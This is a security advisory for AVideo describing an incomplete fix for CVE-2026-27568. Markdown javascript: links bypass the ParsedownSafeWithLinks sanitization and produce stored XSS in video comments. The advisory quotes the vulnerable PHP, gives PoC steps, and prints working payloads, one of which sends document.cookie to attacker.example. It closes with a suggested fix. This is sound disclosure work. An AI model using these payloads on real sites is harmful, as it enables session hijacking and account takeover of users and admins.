Description

AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown javascript: URI Bypasses ParsedownSafeWithLinks Sanitization

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:

objects/functionsSecurity.php:442-446 — safeMode disabled:

function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);

ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:

// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}

However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().

vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:

protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }

sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.

Data flow:

User posts comment containing [Click here](javascript:alert(document.cookie))

xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged

On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a>

Result stored in commentWithLinks (objects/comment.php:420)

Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>

PoC

Log in as any user with comment permission

Navigate to any video page

Post a comment with the following markdown:

[Click here for more info](javascript:alert(document.cookie))

The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link

Clicking the link executes alert(document.cookie) in the victim's browser context

For session hijacking:

[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

Impact

Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover

Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context

Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link

UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:

class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);
...
Show more

Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Mitigation

Aliases

References